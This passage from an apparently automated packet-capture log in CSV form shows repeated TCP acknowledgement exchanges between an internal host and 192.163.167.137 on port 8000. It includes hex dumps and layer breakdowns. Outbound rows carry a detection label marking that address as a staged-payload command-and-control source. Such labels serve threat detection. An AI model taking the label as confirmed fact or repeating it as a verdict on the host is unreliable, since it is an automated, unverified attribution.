\"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:49.809771,948,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b16e400080063e900a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45422, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16016, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:49.809797,949,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439d940004006f61ac0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14809, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63002, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:50.825411,950,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b16f400080063e8f0a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45423, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16015, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:50.825438,951,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439da40004006f619c0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14810, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63001, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:51.841065,952,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b170400080063e8e0a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45424, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16014, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:51.841096,953,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439db40004006f618c0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14811, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63000, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:52.841106,954,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b171400080063e8d0a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45425, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16013, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:52.841134,955,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439dc40004006f617c0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14812, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62999, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:53.841117,956,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b172400080063e8c0a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45426, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16012, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:53.841142,957,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439dd40004006f616c0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14813, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62998, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:54.856762,958,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b173400080063e8b0a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45427, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16011, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:54.856785,959,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439de40004006f615c0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14814, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62997, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:55.856771,960,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b174400080063e8a0a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45428, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16010, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:55.856796,961,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439df40004006f614c0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14815, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62996, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:56.856811,962,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b175400080063e890a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45429, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16009, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25622, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:56.856845,963,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637017,bc2411360d0cbc24112907bb08004500003439e040004006f613c0a3a7890a98980b1f40fa6a227ed9144c82bf198010003f0af700000101050a4c82bf184c82bf19,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14816, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62995, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637017, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637016, 1283637017))]\"\"}}]\"\n2026-07-01 09:12:57.856809,964,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637016 Ack=578738452,bc24112907bbbc2411360d0c080045000029b176400080063e880a98980bc0a3a789fa6a1f404c82bf18227ed914501020146416000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45430, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16008, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637016, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": 